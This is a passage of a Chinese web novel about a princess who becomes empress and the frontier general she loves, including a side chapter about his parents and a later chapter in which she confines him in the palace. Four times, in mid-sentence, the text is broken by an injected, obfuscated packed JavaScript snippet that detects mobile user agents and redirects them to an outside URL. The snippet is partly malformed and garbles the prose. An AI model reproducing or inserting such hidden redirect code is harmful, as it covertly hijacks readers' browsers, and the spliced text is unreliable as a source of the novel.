老太尉试探着问她:“听说殿下与付小将军是旧识,想必感情很深吧?” 宋闻薰无意识地回了个“嗯”,抿了口茶,竭力压下快要遮不住的情绪。 “……清衣同我认识近六年了。”她掩饰般微微笑了一下,眸里浮起怀念,换了个轻松的口气,“建功立业方显付家本色,付小将军身体里流的是付家的铁血。” 老太尉眯起眼睛,细细看着宋闻薰,像是松了口气:“殿下能这么想,是边疆众将士的福气。这些年,陛下待付家总有些戒备……付清衣和付清蓉皆是将才。” “啧,二位讨论我什么呢?” 清亮慵懒的声音传来,付清衣裹着铁锈红的战袍穿风而入,目光狡黠,对上他们不约而同的惊讶视线,得意洋洋地一笑,“怎么?只许她来,我为太尉鞍前马后,倒不许我来?” 宋闻薰不赞同地看着他:“你怎么只穿了这么点儿?” “里头穿了棉衣。”付清衣无奈地叹了口气,“我的殿下啊,您怎么比家母还唠叨?” 老太尉瞪圆了眼睛:“付清衣!这是陛下亲封的辽远王,别没大没小的!” “是是是,冒犯殿下了。”付清衣嘴上这么说,手却很不老实地拍拍她肩膀,指尖有意无意地拂过她的发梢,冲老太尉挑衅地一笑。 “放肆!!” 看老太尉憋得脸色通红,宋闻薰忍不住想笑:“太尉莫怪他,礼数是给外人看的,左右这里也没外人。” 付清衣挑起眉毛,故意拖长了声调戏谑道:“没有外人,那便是内人了?” 宋闻薰:“……” 老太尉一口茶呛在嗓子眼里,咳得昏天黑地。 “太尉心脏不好,你就别吓唬他了。”她无奈地叹了口气。付清衣偶尔展露出的顽劣逍遥,不像个铁血将军,倒像个地道的纨绔公子。挑拨她时则像个风月惯客,熟练撩人,然而一旦她主动起来,又脸红不自在地偏头告饶。那是和常年谨慎小心的她完全不同的鲜活肆意,像冰天雪地里一捧烈火,她被冻了太久,总忍不住想去靠近,却畏惧被火焰照出身上血淋淋的冻疮。 见这么一闹宋闻薰都没生气,反而顺着付清衣的疯性子,老太尉放下了几分戒心,目光柔软下来。 “殿下恐怕不知道,我与你母亲自小在一个学府里长大,是同窗好友,只许多年未谋面。”老太尉放松地笑起来,皱纹舒展,随口问道,“德妃娘娘近况可好?” 宋闻薰的笑意凝在眼角,军帐里的炉火生得很旺,木屑噼里啪啦地爆开,她的脸被火光印上一片暖黄的光晕,像静止在时光里的雕塑。 见她沉默良久,神色微变,老太尉意识到不对,面色凝重下来:“她……” 宋闻薰扯了扯嘴角:“母妃前月已故去了。” “哐当”一声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450099|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老元帅手中的酒杯应声掉落,他浑然不觉,看着宋闻薰发愣。 宋闻薰垂着眼并不说话。却感觉到有一只手偷偷从桌底伸过来,不动声色地握住了她的手腕。温热的指抚着她的手背,像某种心照不宣的安慰。 老太尉笑了一声,那声音破碎呜咽,简直不能算笑了,他第一次将礼数王法抛之脑后,认认真真地盯着宋闻薰。他看得那么仔细,像要从宋闻薰的身上找到一点故人的影子。声音轻如落雪,含着自己也未曾发现的惆怅:“你长得很像你母亲,只是眼睛肖似陛下……性格也不像她,她……性子绵软,自小太乖巧,被府里的姨娘欺负了也只是躲起来哭,还是我看不下去,把这事儿捅到了姜老爷那儿。” 他凄然道:“她怎么会……怎么会……我以为皇上喜爱她,她该过得好些。” 忍气吞声只会受人欺辱,这个道理,宋闻薰八岁起便懂了,可惜德妃半辈子过去了,依然妄想着退一步便能自由安乐。 身在帝王家,不拿把刀如何能独善其身,可德妃第一次拿刀,刀尖对准的却是她最不设防的女儿。 风雪大作,帐中一片寂静。良久,才听宋闻薰冷道:“我幼时外戚一手遮天,父皇……根本不管母妃。” 老太尉仿佛一霎那颓唐了许多,沉浸在回忆里:“我与她十年未见了。你刚出生那年,我恰好回京参加年末的宫宴。阿筠……不,德妃娘娘也在场。她不如以前那么高兴了,我看的出来。” “父皇虽给了她位分,却不给她宠爱,没有皇恩的后妃不过是个摆设。皇后又忌惮姜家,处处钳制她。”宋闻薰没有看老太尉,低头看着自己的手,那里曾有母亲的血流淌而过,她缓缓道,“是太子逼死她的,她走得很安静,未曾留下半字。” 老太尉剧烈地咳嗽起来。 驻守边疆一辈子的太尉十年来第一次听见遥远故人的消息,竟是一条迟来的死讯。 握住她的那只手紧了紧,另一只手将披风递给她,付清衣目光轻柔如春天湖面上的波光,他终于出声打断他们:“都过去了。余帅也该休息了,走吧殿下,我带你去尝尝北疆的烧刀子酒。” 6. 西出阳关(3) 大漠沙如雪,他们坐在沙丘上。付清衣把宋闻薰叫来了出来,也只是一杯一杯地喝酒,并不说话,月光洒在他英挺眉目上,他拧开酒瓶,眼尾隐隐发红。 宋闻薰尝了一口烧刀子酒,比京城那些烈的多,灌下去,像火焰一路烧到脾胃,浑身升起一股暖意。 一贯话多的付清衣不说话,宋闻薰就有些不自在,她看着他的神情,斟酌了一下,决定自己开口:“老太尉说你前月中了毒箭,为什么不告诉我?” 付清衣像是刚回神,愣了几秒,淡淡笑了:“又不是什么大事,已经养好了,老头总是大惊小怪。” 宋闻薰蹙额道:“这还不是大事?你受了伤,我一点也不知道,连问别人都不行,我甚至得装作和你不认识,我……” “那殿下呢?”付清衣打断她的话,声音温和,语气平缓,“你遇到那些事情,为什么来信里也不和我说?” 宋闻薰哑然,仿佛被人掐住了脖子,一句话也说不出口。 “我看到那些信,以为你在京师过得很好,我以为皇后死了,三公主也死了,你可以安枕无忧,开开心心地当一个不晓世事的公主。”他声音轻轻的,“我一想到上战场可以护你周全,就觉得行军生活其实也没有那么累。可是你过得不好。” “以前我还能想尽办法去宫里找你,现在你过得不好,我空会打仗,连陪在你身边都做不到。”付清衣又灌了一口酒,直直地望着她,没什么表情,但宋闻薰却觉得,他好像下一秒就快要撑不住了。 萧瑟的晚风拂过他们相对而坐的影子,良久,她道:“我过得比以前好。” “德妃死了,姜丞相为了补偿我,每天都有源源不断的奇珍异宝送到我府中。” “父皇身体一日不如一日,精神也恍惚,常常召我入宫,给我丰厚的赏赐,还封了我辽远王,赐府邸家奴。” 宋闻薰深吸一口气,摊手笑道:“你看,过去我得不到的,现在都得到了,多好的事情。” 付清衣的手拂过她的脸颊,他指尖有常年练武磨出的薄茧,抚在脸上有些刺,动作却极尽温柔,他慢慢擦去那些水泽,声音微哑:“小骗子。” 宋闻薰:“……” 她这才意识到自己落泪了,原来自己也会落泪。她不自在地偏开头,堪堪维持住表情,硬绷绷道:“胡说。” 付清衣盯着她:“我记得我过去带你去桂花林,你也是这么说的。” 这是他们重逢后,付清衣第一次提起旧事,宋闻薰有些愣怔,她禹禹独行了太久,恍惚觉得那些甜蜜的瞬间,仿佛是上辈子的事情了 。 她清了清嗓子,努力让自己的神色自然一点:“都过了多久了,你怎么还记着……好啦,我们谁也别说谁了……这酒真够呛人的。” 她最清楚自己那些话里的真假,她想要权力,想要自由,想要他,除此之外的那些宠爱、皇恩、迟到的亲情……对她来说都毫无价值。 她只想坐上那个至高无上的位置,毫无顾虑地拥抱他。 “清衣,你信我。”宋闻薰望着他,目光亮得像星子,“会好起来的。” 她执着地看着他,咬字很重,仿佛在承诺,又仿佛在劝说自己:“没什么是过不去的,你信我。” “我信你,殿下。”付清衣忽地笑了,眉眼热烈,那些惆怅惋惜顺着这句话化开,少年狂气逐渐溢满他俊秀的眉眼,他将酒壶远远投掷出去,“哐当”一声,在寂静的夜空下格外清脆。 他牵来马,拽起枣红色骏马的缰绳,骏马一声嘶鸣,高高扬起前蹄,满月当空,他朝她伸出手:“上马,我带你看一看塞北的冬天。” 塞北的冬天有瓶口大的雪花,寒风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450100|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着衣袖爬上骨头,白沙覆雪,月挂中天,长风浩荡,天地寂静。他小心翼翼地抱她上马,温热的身躯紧紧贴着她的后背。 “驾!” 枣红马像一团鲜艳的火,自茫茫白雪里燃烧着呼啸而过,她伸出手轻轻摸着马的鬃毛,一下又一下,她听见付清衣的呼吸近在咫尺,她能闻见极淡的、常年征战的血腥气,她抬头就能吻到他的唇。 马蹄踏碎雪花,世界被他们甩在身后,模糊成镜花水月。 她安静地坐在他怀里,第一次完全放松身体,将自己交付给身后的胸膛,慢慢闭上眼,感受到扑面而来的风,混着大漠的尘土气和北疆的颗粒感,像有一只手抚平了那些经年累月的伤痕。 付清衣的声音沉冷好听,尾音勾上去,含着点笑意:“殿下,坐稳了,等战事平定,我带你去远方。” 宋闻薰看着混沌黑暗的前路,在这一瞬间清晰地看见自己的心。 他想带她走,去天涯海角,塞外江南,他想把自己的战功拼成坚实的羽翼,永远庇护她。 而她的血液里流淌着野心,注定要踏上一条艰险万倍的路,踩着刀、血、亲人的命,不惜一切代价把自己与那座古老辉煌的皇宫融为一体。 宋闻薰勾着他的脖子强迫他低下头,闭着眼睛吻了上去,唇齿纠缠,她亲得生涩而大胆。付清衣没有躲闪,一手牵缰绳,另一只手揽上她的腰,与她肌肤相贴,分开时,她鼻尖抵着他的喉结。 “我去不了远方。”她亲了亲他滚动的喉结,看见他漆黑眼中泛起欲色,餍足地笑起来,声音却很冷静,“我只有你了。” “我的将军,答应我,无论我变成什么模样,你都不要离开。” 良久,她听见他的声音,虔诚而温柔:“微臣,至死效忠殿下。” 从青衫年少,到白首偕老。 7. 番外:父母爱情[番外] 付亦和从小就是所有高门世族最想要的那种后代——极度自律,且天资聪颖。 不幸的是,他没有生在高门世族。他爹、他爷爷、乃至于他太爷,都是铁匠。 付亦和十四岁那年,家乡遭了瘟疫,家里人死的死病的病,他命大,活了下来,可家中早已经亏空。为了有口饭吃,他去参军了。军中生活苦,却很适合他这样的人,他不怕血污,打仗永远冲在最前面,受再重的伤也只是强忍着,很快便在一次战役中大展身手。将军赏识英才,不多时,他就有了带兵的机会,自此一路顺利,立下无数赫赫军功。 他人生的前二十五年仿佛扶摇直上,却一直是孤零零一个人。命运没有亏待他。在他再一次立功,回京向陛下贺喜的时候,遇见了一个摆摊的姑娘。 那天他走得急,骏马过街时被窜出来的野狗吓着,撒开蹄子狂奔起来,踢翻了一个姑娘的摊子,草药撒了一地,竹编篮子散了架。姑娘坐在一地碧绿碧绿的草药旁,吓傻了,呆呆看着他。他手忙脚乱地勒马逼停,赶紧下了马弯腰去捡草药,却听见回了神的姑娘一声拔高的怒吼:“你赔我草药!!” 付亦和在军营里呆久了,没和姑娘打过交道,头一回打交道,就遇见一个不太好惹的角色。在战场上砍人头颅如切瓜的付将军懵了,小声道:“抱……抱歉。” 姑娘挺直了腰杆直视他,分毫不让:“这一筐草药我攒了个把月!被你的马全踩坏了!我要你道歉作什么?赔钱!!” 付亦和涨红了脸,不敢看姑娘的眼睛:“我赔的。这些草药多少钱?” 姑娘上下瞧了他一遍,怒容慢慢消退,她忽然狡黠地伸出一只手,笑道:“五十两银子。” 付亦和松了一口气,手刚伸进包里想摸银子,便被一只白净的手一把抓住了,霎时间,付亦和整个人都僵硬了,那姑娘却浑然未觉他的局促,鼻子里哼出一声笑:“你这人怎么这么老实,我说什么就信什么。那一堆草药加起来还没有十两银子的。你给我八两银子好了。” 付亦和被她一臊,只觉得脸上发热,从包里掏出银两递过去,愈发局促了。姑娘接过银子,熟练地掂了一下,有些吃惊,猫儿一样的眼睛瞪圆了瞧着他:“……十两银子?你拿错了。” “我吓到姑娘了,多出来的二两,就当给姑娘赔罪。”付亦和低下头解释,他站的笔挺,活像个被夫子罚站的学生,手抓着马缰,指头不断摩挲着,很不安的样子。 姑娘“扑哧”笑了,付亦和注意到,她有一双透亮的眼睛,黑白分明,澄澈得很。她也没客气,很爽快地接过这些银子,点了点头:“你这份恩情,我记下了。往后若有什么小毛小病的,可以找我,我不收你钱。我叫秦玉霜,家住京郊白马巷,你一打听便知道。” 付亦和正犹豫着该怎么介绍自己,姑娘却已经麻溜地收拾好草药,她一身青衣,走时如一阵轻风。只留下他抓着缰绳,微微发愣地看着她的背影。 付亦和常年行伍,身上自有许多旧伤。他以往觉得忍忍就过去了,但不知为何,他还是敲响了秦玉霜的房门。 开门的是一个满头白发的老妪,她眯着眼睛看了半天才看清人:“来看病的?” “嗯。秦姑娘在吗?” “姑娘出门采药了,看天色,快回来了。你坐这里等一会儿吧。” 付亦和便乖乖坐下了。妇人很健谈,兴许是很少遇见客人,话闸子一打开便收不住了。付亦和耐心地听着,从妇人颠三倒四的话语中,知道了秦玉霜出身济川秦氏的一支旁系,早年也是大族,可惜家道中落,秦家举家搬往京城,花光积蓄开了家医馆,然而好景不长,医馆生意太好,遭了嫉妒,被人纵火烧了。可怜秦家一家老小,只在外放风筝的秦玉霜和乳母活了下来。 那乳母便是老妇人。 付亦和想起初见时泼辣又鲜活的女子,忍不住想,她是经历了什么,才从十指不沾阳春水的大家闺秀变成这样的呢? 秦玉霜医术得了她父亲的真传,的确很好。她看着付亦和背脊上纵横交错的伤疤,忍不住道:“你是军中的人吧?这么多伤都只是草草处理,亏你忍得住。” 她带着薄茧的指在他背上滑动,付亦和忍不住绷紧了身子,他从未觉得自己身子如此敏感过,一时间动也不是,静也不是,脸涨成了猪肝色。 只是一个时辰的治疗,付亦和的脸都要红透了。 秦玉霜颇有趣地瞧着他,觉得稀奇:“你的伤要慢慢调理,记得三天后再来一趟……哎,你脸怎么红成这样?” 付亦和的脸更红了。 就这样,这里成了付亦和每次凯旋回京后必来的地方。他慢慢和秦玉霜熟稔起来,虽然还是容易脸红,但已经没了一开始的紧张。 不知名的情愫,在两人之间蔓延。 付亦和领兵击退突厥,将其逼至玉门关八百里外,荣升至武威大将军的那一日,他向秦玉霜送了聘书。 弋言加之,与子宜之。宜言饮酒,与子偕老。琴瑟在御,莫不静好。 锐气逼人的大将军掀盖头时,那双拿惯了长矛的手在抖。秦玉霜隔着盖头摸索着亲了他一口。新婚燕尔,如胶似漆。 他们婚后有了第一个孩子,是个活泼好动的男孩,哭声嘹亮,付亦和却顾不得看新生子,只抓着秦玉霜的手又哭又笑,惹得秦玉霜虚弱地抬起手,揉了揉他的脸:“好了……我没事。” 给新生儿取名是个叫人犯难的事,他们讨论了一天一夜都无果,最后付亦和玩笑道:“你喜穿青衣,不如就叫他青衣吧。” “胡闹。”秦玉霜拍了他一下,“你是想让他唱戏去吗?” “那便改青色的青为清正的清,愿这孩子往后清正廉明。” 秦玉霜起名起得烦躁,将“付清衣”三个字绕在口中念了两遍,觉得不错,便这么定了下来。 付清衣打小就是个混世魔王,遗传了他爹的身板和他娘的脾气,三岁会打架,五岁能爬树,手撕草药一撕一个准。付亦和南征北战,常常不在家里,秦玉霜骂付清衣都骂累了,这小子被骂了还咯咯咯笑,下次继续犯事儿,若是抬手打他,他逃得比谁都快,甚至还无师自通地晓得要利用将军府的地形藏匿身形。 等付亦和回来后,她把满腔怒火发泄全在了他身上,气得在他耳边大声嚷嚷:“你看看你生出来的好儿子!” 付亦和无奈,只好抱着她反复劝:“你先忍忍,我看这孩子适合习武,等他大一点了,我来带他。”好不容易劝得秦玉霜消了气,他一扭头,看见付清衣手上抓着一大把泥往雪白透亮的墙上糊,一口气没上来,切身感受到了秦玉霜的窒息。他拎着付清衣的领子把他提起来,随手扒下藤条,结结实实抽了付清衣一顿,把这天不怕地不怕的小男孩抽得鬼哭狼嚎,抽抽噎噎缓不过来,秦玉霜这才掐着点姗姗来迟,温柔地朝付清衣伸出手:“不哭了好不好?知道错了吗?” 年幼的付清衣从此明白了一个道理:爹坏,娘好。 付清蓉出生后,这个道理被更深刻地植入了两个孩子的脑中。儿子已经养残了,秦玉霜本指望着女儿能是个省心乖巧的,谁知道付清蓉在她哥哥的耳濡目染中,有过之而无不及。这孩子全然没有一点儿京城里大家闺秀的端庄,仗着一身父兄授的武艺,从小就是孩子王,凭一条树枝从街头打到巷尾,今天丞相家大儿子被骂了,明天尚书家二儿子被打了……就算有些大孩子仗着自己人高马大欺负付清蓉,第二天,付清衣就会给他们套上麻袋结结实实揍一顿。久而久之,付清蓉性子愈发桀骜不驯,唯一能制住她的,就是她那个不苟言笑的爹。 付亦和板着一张脸,一身沙场里磨砺出的肃杀气,冷冷站在兄妹二人面前,任是谁都怂。付清蓉默默朝他哥的身后躲,付清衣则悄悄把她往前拽,平日里和睦的兄妹在父亲面前选择了出卖彼此,世界就是这样残酷。 “生在京城,你们锦衣玉食,富贵无忧,却也目光短浅,庸庸碌碌。你们可曾见识过京城之外是什么模样?”付亦和扫视他们,声音缓慢,却沉重,“你们见过连衣服都要换着穿的乞儿吗?见过战场上堆积如山的尸首吗?见过遭逢天灾,吃观音土,最后活活饿死的百姓吗?” 付清衣和付清蓉怔住了,这是超出他们想象的生活,却是京城之外,普通百姓一代又一代的命运。 秦玉霜坐在一边的藤椅上,目光浮现出她年少流亡途中见到的弃婴与尸骨,轻轻叹息。 付清衣小声道:“可……每年的岁宴上,百官给天子的贺词,都是海清河晏,国泰民安啊?” 付亦和扫了他一眼,他赶紧把嘴闭上,站直了,假装自己没开口。秦玉霜却在此时插了话:“清衣、清蓉,耳听为虚,眼见为实。岁宴上的贺词,只是一种美好的期许,当不了真的。你们还是……见识得不够多,心性太天真。” 她转身向付亦和道:“这些孩子顽劣,多半是未知民间疾苦的缘故,清衣大了,有空,你带着他出征吧。” 付清衣想到自己也可以像父亲一样走南闯北,威风凛凛,别提有多高兴了,他激动地跳了起来:“真的?我要去打仗了?” 付亦和狠狠敲了他的脑袋一下:“战争不是儿戏!” 那时的付清衣并未将这些当成一回事,他只顾着对妹妹扯鬼脸炫耀,付清蓉不乐意了,她委屈地瘪了嘴:“我也要去!凭什么哥哥能去我不行?” 付亦和又好气又好笑,揉了揉她的脑袋:“谁叫你平日里偷懒,连那把红缨枪都使不好,去战场上也只是任人宰割。” “我知道了,等我使好了,爹就让我去!”付清蓉的脑子转的飞快,眨巴眨巴眼睛,冲付清衣吐吐舌头——叫你炫耀,我也能去,气得付清衣一抬手抢走了她的红缨枪,付清蓉急忙抬脚去追,闹得院子里的大黄狗“汪汪”叫起来。 付亦和与秦玉霜并肩笑看孩子们打闹,目光里却含着深深的忧虑,外面是什么模样,他们最清楚不过。这些孩子要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450101|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对的,将不再是小院里金色的阳光和街市里五彩的花灯,而是惨白的尸骨和鲜红的血液。 三年又三年,付亦和获封定国公。付清衣在一次一次的磨砺中褪去了纨绔气,付清蓉的红缨枪也已经大成,可以出征了。一切似乎都在向好的方向发展。 然而也就是那年冬天,付亦和于前线猝然中了冷箭,冷箭上沾了毒,见血封喉。 付清衣扶灵枢回府,天上飘来大雪,纷纷扬扬,像银色的纸钱。百姓自发跪于道路两侧,哀哭声不绝于耳。 秦玉霜站在廊下,她依旧是一身单薄的碧色衣衫,没有太大反应,只是站在那里,定定看着缓缓走近的灵枢,垂下的睫毛上挂了雪,雪融化,变成一道浅浅的水痕。 付清蓉忍住悲意,给她盖上披风,安慰的话却说不出来,她知道母亲不需要安慰,母亲比谁都坚韧,也比谁都清楚生死的重量。 “娘。”付清衣向她跪下,他已经长成能独担大任的少年郎,在外面忍了许久的泪水,看见母亲的那一刻终于涌出,“儿子无能,未能……未能及时察觉到埋伏的弓箭手。” 秦玉霜慢慢、慢慢地走过去,向小时候安慰他一样,朝他伸出手:“不哭了。” 付清衣扶着她的手站起来,看见母亲抚摸着父亲的灵枢,忽然翘起嘴角,露出一个柔和的微笑:“他迟到了,未赶上今年的除夕,低着头不敢看我。” 付清衣含泪道:“娘……” 秦玉霜喝住他的声音,一瞬间,她仿佛又变回了那个摆摊谋生的泼辣姑娘,厉声道:“哭什么,武将死于沙场,马革裹尸,是荣耀。” 她站在风雪深处,像一尊琉璃玉雕,岿然不动:“下次出征,带上我去前线。” “娘?”付清衣和付清蓉愣住了,同时开口,“前线危险……” “我会医术。”秦玉霜转头直视着兄妹二人道,“我给他包扎过千百遍,我知道怎么救助前线的将士们。他从前拦着我,有本事现在就继续拦着我,拦啊。” “……拦啊!!!” 嘶哑的声音回荡在府中,支离破碎。付清蓉和付清衣都怔住了,他们相对沉默,没人再敢反驳。 秦玉霜在边疆发挥了很大作用。她坚毅沉稳,医术高明,将士们都非常尊敬她。圣上听闻后亦很高兴,封她为一品定国夫人,享尽尊荣。 可也许是边关苦寒,她的身子骨一日不如一日了。付清蓉每每看见就要偷偷掉眼泪,付清衣揉揉妹妹的头,出口的安慰苍白无力,他劝过许多次,基本上都被轰了出来,无计可施。 春天到了,边疆的积雪也逐渐开始融化,大雁北渡,枯木逢春。 这天,秦玉霜忽然把付清衣叫入帐中,连日的病痛让她脸色苍白,她倚着椅子勉强坐起来,付清衣急忙过来扶她,却被她制止。她的目光轻飘飘落在付清衣脸上,带着一点儿通透的笑意:“清衣,是有心上人了吗?” “啊?咳咳……”付清衣本来只是随意往边上一靠,没料到她单独叫他过来是聊这个,涨红了脸,整个人瞬间站直了。 秦玉霜把手腕上的镯子脱下来递给他:“娘没什么可送的,你若决定求娶她,便把这个给她。” “……求娶?”付清衣的脸已经红成了煮熟的虾子,“我……” “让你拿你就拿着,磨磨唧唧,跟你爹一个样。”秦玉霜欣赏着她儿子忸忸怩怩的模样,摇摇头嗤笑一声,把镯子一把塞进他手里。 说完这件事后,她脸上的笑意慢慢静了下来,没了笑意,她的脸便灰败下去,显出了油尽灯枯的羸弱,苍白的唇动了动,极艰难地吐出几个字来:“你爹不是被敌所杀。” 付清衣脸上的红云刹那间褪了个干净,他低下头去,怀疑自己听错了,一眨不眨地看着他的母亲:“什么?” 秦玉霜鬓间的银发闪烁如泪光,她苦笑了一声,慢慢从椅上滑倒下去:“清衣,同你说,是因为清蓉还小,难免沉不住气。母亲接下来告诉你的话,你记着,记得牢牢的,听到了吗?” 付清衣流着泪一边点头一边慌乱地扶住她,可刚一松手,秦玉霜的身子又倒了下去,他睁大了眼睛,像是置身于梦魇里缓不过来,只是茫然地看着母亲的唇一开一合,吃力地吐出几个字:“为人臣者,功高……不可震主,否则……” 她嗓音已经几不可闻,却仍然死死盯着付清衣的眼睛,像是竭尽全力要继续说下去,却已用尽了生命里最后的力气。 “娘?” “娘……” “娘!!!” 那一年春天,边疆罕见地遭遇了一场倒春寒。寒冰百丈,大雪如白幡,全军都围着一尊木棺,没有人出声,没有人嬉闹,只有军号凄厉地划破满天飞霜。 付清衣跪在母亲的木棺前,看见雪花落在木棺上,不知怎的,他记起许多年前,父亲坐在桌前练字,母亲握着他的手,一笔一画地写: 今朝若能同淋雪,此生也算……共白头。 8. 无故人(1) 付清衣踉踉跄跄地从宫殿中走出时已是半夜,他看起来格外狼狈且疲倦,衣衫凌乱,长发披散,素来冷厉杀伐的面孔上红晕未褪,春意未消,细看还能看见修长脖颈上的一抹红痕,像是被人咬出的印子。 李富看见他这样心里就是一跳,知道陛下这回是真生气,把人给折腾狠了,久经沙场的付清衣连站都站不稳,这……这得是干了什么啊?他赶紧抓着准备好的披风跑过来给人披上,付清衣瞥了一眼那披风,露出极端厌恶的神色,一把将它扯下扔在地上。 这披风是陛下的,特别昂贵,李富心疼地想,你不要也别扔了嘛。 他赔笑道:“将军,您若是受了风寒,陛下定然心疼……” 付清衣疲倦地扶着墙站稳,嘶哑着喉咙道:“李公公,我知道,退下吧。” 他像是豁然被抽干净了一点所剩无几的精神,漠然看了一眼李富,夜色下,他的目光冷而轻,像一把锋利却被折断的刀。 李富被这目光盯得背上汗毛直竖,终于记起这位尚在北疆的时候,素来被誉为国之城墙,所向披靡。可现在他远去的背影憔悴羸弱,再也看不出曾经驰骋沙场的风姿。一想到待会儿还得进去面圣,李富连太监这份差事都不想干了。 生活不易,李大公公在外头呼风唤雨,在这二位面前也只能当个被踢来踢去的球。 宋闻薰靠着龙榻,面无表情地开口:“他走了?” “是。” 龙榻上的女帝闭了一下眼睛,灯火下,她脸色苍白得几乎透明。 李富挤出个笑来,道:“付将军只是一时气恼,过几天还会来找陛下的。” “哦?”宋闻薰的目光落在他身上,难得露出困惑神色,“可朕怎么觉得,他是恨朕呢?” 嘿,这您就猜对了,好好的大将军被软禁在宫中,付将军八成恨您。 这话也就只能在心里说说,李富擦了把冷汗,很勉强地宽慰道:“陛下同付将军年少相知,羡煞旁人,付将军不会为了这些小事与您……” 宋闻薰打断他:“他会。” 她柔媚眼波里浮出一丝阴冷,又闭了闭眼硬生生把那些疯狂压下去,轻声道:“他忠于朕,可他不会眼睁睁看着朕拿天下万民的身家性命开疆拓土。” 宋闻薰嘲讽地笑起来:“他是一把刀,有他在,边疆无恙,他不会为了私心谋反,这朕知道。” “但他会为了道义把刀尖对向朕。”她站起来,艳红的裙裾像开在血里的罂粟,肌肤上赫然还留有刚刚欢爱过的痕迹,脸色却已经阴沉,风雨欲来:“朕本来不想打碎他的獠牙……” 小太监匆匆跑过来,慌乱地喊:“陛下!!!付将军他他他晕倒了!!” 刚刚还满脸杀意的女帝愣了愣,眉眼间的霜雪顿时褪去,三步并作两步走下台阶,道:“宣太医!” 付清衣真的昏迷了过去,他安静地躺在床上,双目紧闭,像一尊被人私藏的琉璃雕像。 宋闻薰的手拂过付清衣的唇,弯了弯眼,贴着他的耳朵,像温柔的情人款款叮嘱:“清衣,你是我的,这天下也是我的。” 付清衣的眼皮动了动,在睡梦中皱起眉来。 宋闻薰在他额上印下一吻,珍重,亲昵,似有无限爱意:“所以我想做什么,没人有资格置喙,你也不行。” 次日,一个震惊朝野的皇召如平地里一声雷响,震得文武百官张目结舌,不知该作何反应。 一品骠骑大将军付清衣被剥夺兵权,削去封号,除为贵君,赐栖凤阁居住。 诏书上写付清衣贤明大方,博爱仁厚,深得圣心,故有此赏赐。但只要长了脑子的都明白,这不是赏赐,这是赤裸裸的羞辱。 半生征战沙场的将军进了后宫,且连凤君的称号都不曾得到,仅仅是个贵君,终身无法干政,这与囚禁何异?玄煞十二营的将军受此待遇,必然有一场哗变。 有年轻气盛的翰林学子公然于朝廷之上拼死力谏,涕泪交加,称这种举措荒诞无稽,会让将士寒心,更是在自毁长城。 宋闻薰饶有兴趣地看着他,微笑道:“你在指责朕,荒诞不经,自毁长城?” 方才还一把鼻涕一把泪的翰林学子顿时被掐住了脖子一言不发。陛下的手段他们都见识过太多次,她是十足的笑面虎,亲和温柔的外表下,动起手来从不留情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450102|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天子一怒,伏尸百万,流血千里。 宋闻薰大笑起来,付清衣常年驻守边疆,手握重权,大约也知道她疑心重,干脆把自己活成了孤臣,所以到了这种时候,朝廷上也没人敢拿自己的前途作赌,真心替他说话。 她笑得累了,就咳嗽起来,咳得弯了腰,咳得满眼泪。想起那个人从前出征,铁甲烈马,手握军旗俯身贴着她耳朵轻声安抚:“阿薰,我会回来的。” 彼时她趁着没人注意克制地亲了亲他的眉心,故意带着一点羞赧,伸出拇指同他约定:“说好了。” 马背上的人伸出手,因为常年练武而有些粗糙的指尖扣着她的拇指,暧昧地摩挲了一下,又很快松开,像小孩偷吃了糖果一样笑着看她:“嗯,你放心。” 付清衣信守承诺,穿过风霜雨雪按时回来,他大概没想到,她给他的是一座金碧辉煌的牢笼。 醒来的付清衣听到这道圣旨,端着药碗的手抖了抖,几滴药液溅出来,顺着他的手指流下,他也没有反应,像被钉在了原地,表情平静而空茫。 守在一边的侍女立刻为他盛上一碗新药,小声劝道:“贵君,喝了罢。太医说您在御前跪久了,风寒入体,激起旧伤,不及时医治恐怕会伤及根本。” 付清衣默了片刻,缓缓撑着床立起来,声音哑得像糊了煤炭:“我要见她。” 